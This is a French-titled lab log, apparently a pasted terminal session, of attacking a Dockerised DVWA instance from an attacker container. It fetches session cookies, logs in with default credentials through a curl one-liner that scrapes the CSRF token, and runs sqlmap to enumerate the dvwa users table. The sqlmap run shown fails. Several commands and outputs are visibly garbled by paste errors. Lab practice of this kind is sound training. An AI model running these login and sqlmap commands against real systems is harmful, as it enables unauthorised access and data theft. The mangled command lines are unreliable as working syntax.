Exemple 06 — Exploiter et comprendre l'injection SQL sur DVWA

```
anto@debian:~/cybersec-audit-codemax$ docker ps --format "{{.Names}}\t{{.Image}}"
attaquant       debian:12
dvwa-cible      vulnerables/web-dvwa
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant ping -c 2 10.40.0.10
PING 10.40.0.10 (10.40.0.10) 56(84) bytes of data.
64 bytes from 10.40.0.10: icmp_seq=1 ttl=64 time=1.66 ms
64 bytes from 10.40.0.10: icmp_seq=2 ttl=64 time=0.185 ms

--- 10.40.0.10 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.185/0.921/1.657/0.736 ms
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant curl -s -c /tmp/cookie.txt http://10.40.0.10/login.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

        <head>

                <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

                <title>Login :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>

                <link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />

        </head>

        <body>

        <div id="wrapper">

        <div id="header">

        <br />

        <p><img src="dvwa/images/login_logo.png" /></p>

        <br />

        </div> <!--<div id="header">-->

        <div id="content">

        <form action="login.php" method="post">

        <fieldset>

                        <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />


                        <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />

                        <br />

                        <p class="submit"><input type="submit" value="Login" name="Login"></p>

        </fieldset>

        <input type='hidden' name='user_token' value='3c218a9db4d266f01d7bedb33f85ab03' />

        </form>

        <br />



        <br />
        <br />
        <br />
        <br />
        <br />
        <br />
        <br />
        <br />
        <br />

        <!-- <img src="dvwa/images/RandomStorm.png" /> -->
        </div > <!--<div id="content">-->

        <div id="footer">
```

```
</html>anto@debian:~/cybersec-audit-codocker exec attaquant cat /tmp/cookie.txtkie.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

10.40.0.10      FALSE   /       FALSE   0       security        low
10.40.0.10      FALSE   /       FALSE   0       PHPSESSID       glqdkrt75ph74re4a8u91kqnj7
anto@debian:~/cybersec-audit-codemax$
```

```
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant sh -c "curl -s -b /tmp/cookie.txt http://10.40.0.10/login.php | grep -oE '[a-f0-9]{32}' | head -1 | xargs -I TKN curl -s -b /tmp/c
ookie.txt -c /tmp/cookie.txt --data username=admin --data password=password --data user_token=TKN --data Login=Login http://10.40.0.10/login.php -o /dev/null -w '%{http_code}\n'"
302
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant curl -s -b /tmp/cookie.txt http://10.40.0.10/index.php -o /dev/null -w "% {http_code}\n"
% {http_code}
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant curl -s -b /tmp/cookie.txt http://10.40.0.10/index.php -o /dev/null -w "%{http_code}\n"
200
anto@debian:~/cybersec-audit-codemax$
```

```
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant curl -s -b /tmp/cookie.txt http://10.40.0.10/security.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

        <head>
                <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

                <title>DVWA Security :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>

                <link rel="stylesheet" type="text/css" href="dvwa/css/main.css" />

                <link rel="icon" type="\image/ico" href="favicon.ico" />

                <script type="text/javascript" src="dvwa/js/dvwaPage.js"></script>

        </head>

        <body class="home">
                <div id="container">

                        <div id="header">

                                <img src="dvwa/images/logo.png" alt="Damn Vulnerable Web Application" />

                        </div>

                        <div id="main_menu">

                                <div id="main_menu_padded">
                                <ul class="menuBlocks"><li class=""><a href=".">Home</a></li>
<li class=""><a href="instructions.php">Instructions</a></li>
<li class=""><a href="setup.php">Setup / Reset DB</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="vulnerabilities/brute/">Brute Force</a></li>
<li class=""><a href="vulnerabilities/exec/">Command Injection</a></li>
<li class=""><a href="vulnerabilities/csrf/">CSRF</a></li>
<li class=""><a href="vulnerabilities/fi/.?page=include.php">File Inclusion</a></li>
<li class=""><a href="vulnerabilities/upload/">File Upload</a></li>
<li class=""><a href="vulnerabilities/captcha/">Insecure CAPTCHA</a></li>
<li class=""><a href="vulnerabilities/sqli/">SQL Injection</a></li>
<li class=""><a href="vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li>
<li class=""><a href="vulnerabilities/weak_id/">Weak Session IDs</a></li>
<li class=""><a href="vulnerabilities/xss_d/">XSS (DOM)</a></li>
<li class=""><a href="vulnerabilities/xss_r/">XSS (Reflected)</a></li>
<li class=""><a href="vulnerabilities/xss_s/">XSS (Stored)</a></li>
<li class=""><a href="vulnerabilities/csp/">CSP Bypass</a></li>
<li class=""><a href="vulnerabilities/javascript/">JavaScript</a></li>
</ul><ul class="menuBlocks"><li class="selected"><a href="security.php">DVWA Security</a></li>
<li class=""><a href="phpinfo.php">PHP Info</a></li>
<li class=""><a href="about.php">About</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="logout.php">Logout</a></li>
</ul>
                                </div>

                        </div>

                        <div id="main_body">


<div class="body_padded">
        <h1>DVWA Security <img src="dvwa/images/lock.png" /></h1>
        <br />

        <h2>Security Level</h2>



        <form action="#" method="POST">
                <p>Security level is currently: <em>low</em>.<p>
                <p>You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
```

```
</html>anto@debian:~/cybersec-audit-codocker exec attaquant curl -s -b /tmp/cookie.txt "http://10.40.0.10/vulnerabilities/sqli/?id=1&Submit=Submit"Submit"

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

        <head>
                <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

                <title>Vulnerability: SQL Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>

                <link rel="stylesheet" type="text/css" href="../../dvwa/css/main.css" />

                <link rel="icon" type="\image/ico" href="../../favicon.ico" />

                <script type="text/javascript" src="../../dvwa/js/dvwaPage.js"></script>

        </head>

        <body class="home">
                <div id="container">

                        <div id="header">

                                <img src="../../dvwa/images/logo.png" alt="Damn Vulnerable Web Application" />

                        </div>

                        <div id="main_menu">

                                <div id="main_menu_padded">
                                <ul class="menuBlocks"><li class=""><a href="../../.">Home</a></li>
<li class=""><a href="../../instructions.php">Instructions</a></li>
<li class=""><a href="../../setup.php">Setup / Reset DB</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../vulnerabilities/brute/">Brute Force</a></li>
<li class=""><a href="../../vulnerabilities/exec/">Command Injection</a></li>
<li class=""><a href="../../vulnerabilities/csrf/">CSRF</a></li>
<li class=""><a href="../../vulnerabilities/fi/.?page=include.php">File Inclusion</a></li>
<li class=""><a href="../../vulnerabilities/upload/">File Upload</a></li>
<li class=""><a href="../../vulnerabilities/captcha/">Insecure CAPTCHA</a></li>
<li class="selected"><a href="../../vulnerabilities/sqli/">SQL Injection</a></li>
<li class=""><a href="../../vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li>
<li class=""><a href="../../vulnerabilities/weak_id/">Weak Session IDs</a></li>
<li class=""><a href="../../vulnerabilities/xss_d/">XSS (DOM)</a></li>
<li class=""><a href="../../vulnerabilities/xss_r/">XSS (Reflected)</a></li>
<li class=""><a href="../../vulnerabilities/xss_s/">XSS (Stored)</a></li>
<li class=""><a href="../../vulnerabilities/csp/">CSP Bypass</a></li>
<li class=""><a href="../../vulnerabilities/javascript/">JavaScript</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../security.php">DVWA Security</a></li>
<li class=""><a href="../../phpinfo.php">PHP Info</a></li>
<li class=""><a href="../../about.php">About</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../logout.php">Logout</a></li>
</ul>
                                </div>

                        </div>

                        <div id="main_body">


<div class="body_padded">
        <h1>Vulnerability: SQL Injection</h1>



        <div class="vulnerable_code_area">
                <form action="#" method="GET">
                        <p>
                                User ID:
                                <input type="text" size="15" name="id">
                                <input type="submit" name="Submit" value="Submit">
                        </p>

                </form>
                <pre>ID: 1<br />First name: admin<br />Surname: admin</pre>
        </div>

        <h2>More Information</h2>
```

```
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant sh -c "apt-get update && apt-get install -y sqlmap"
Hit:1 http://deb.debian.org/debian bookworm InRelease
Hit:2 http://deb.debian.org/debian bookworm-updates InRelease
Hit:3 http://deb.debian.org/debian-security bookworm-security InRelease
Reading package lists...
Reading package lists...
Building dependency tree...
```

```
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant sqlmap --version
1.7.2#stable
[14:19:50] [WARNING] your sqlmap version is outdated
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant cat /tmp/cookie.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

10.40.0.10      FALSE   /       FALSE   0       PHPSESSID       glqdkrt75ph74re4a8u91kqnj7
10.40.0.10      FALSE   /       FALSE   0       security        low
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant sh -c "grep PHPSESSID /tmp/cookie.txt | sed -E 's/.*PHPSESSID[[:space:]]+//' | xargs -I __SID__ sqlmap -u exemple-06.md 2026-10-28
 'http://10.40.0.10/vulnerabilities/sqli/?id=1&Submit=Submit' -- cookie='PHPSESSID=__SID__;security=low' --batch"
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.2#stable}
|_ -| . [.]     | .'| . |
|___|_  [()]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] detected usage of long-option without a starting hyphen ('cookie=PHPSESSID=glqdkrt75ph74re4a8u91kqnj7;security=low')
[14:24:11] [WARNING] your sqlmap version is outdated
anto@debian:~/cybersec-audit-codemax$
```

```
anto@debian:~/cybersec-audit-codemax$ docker exec attaquant sh -c "grep PHPSESSID /tmp/cookie.txt | sed -E 's/.*PHPSESSID[[:space:]]+//' | xargs -I SID sqlmap -u 'http://10.40.0.10/vulnerabi
lities/sqli/? id=1&Submit=Submit' --cookie='PHPSESSID=SID;security=low' --batch -D dvwa -T users --columns"
        ___
       __H__
 ___ ___['']_____ ___ ___  {1.7.2#stable}
|_ -| . [()]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.
 Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:30:18 /2026-10-28/

[1/1] URL:
GET http://10.40.0.10/vulnerabilities/sqli/? id=1&Submit=Submit
Cookie: PHPSESglqdkrt75ph74re4a8u91kqnj7=glqdkrt75ph74re4a8u91kqnj7;security=low
do you want to test this URL? [Y/n/q]
> Y
[14:30:18] [INFO] testing URL 'http://10.40.0.10/vulnerabilities/sqli/? id=1&Submit=Submit'
[14:30:18] [INFO] using '/root/.local/share/sqlmap/output/results-10282026_0230pm.csv' as the CSV results file in multiple targets mode
[14:30:18] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.40.0.10:80/login.php'. Do you want to follow? [Y/n] Y
[14:30:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:30:18] [INFO] testing if the target URL content is stable
[14:30:18] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:30:19] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:30:19] [INFO] testing for SQL injection on GET parameter 'id'
[14:30:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:30:19] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:30:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:30:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:30:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:30:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:30:20] [INFO] testing 'Generic inline queries'
[14:30:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:30:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:30:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:30:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:30:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:30:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:30:21] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[14:30:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:30:21] [WARNING] GET parameter 'id' does not seem to be injectable
[14:30:21] [WARNING] GET parameter 'Submit' does not appear to be dynamic
[14:30:21] [WARNING] heuristic (basic) test shows that GET parameter 'Submit' might not be injectable
[14:30:21] [INFO] testing for SQL injection on GET parameter 'Submit'
[14:30:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:30:22] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:30:22] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:30:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:30:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:30:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:30:23] [INFO] testing 'Generic inline queries'
[14:30:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:30:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:30:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:30:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:30:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:30:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:30:23] [INFO] testing 'Oracle AND time-based blind'
[14:30:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:30:24] [WARNING] GET parameter 'Submit' does not seem to be injectable
[14:30:24] [ERROR] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is
 some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent', skipping to the next targe
t
[14:30:24] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-10282026_0230pm.csv'
[14:30:24] [WARNING] your sqlmap version is outdated

[*] ending @ 14:30:24 /2026-10-28/
```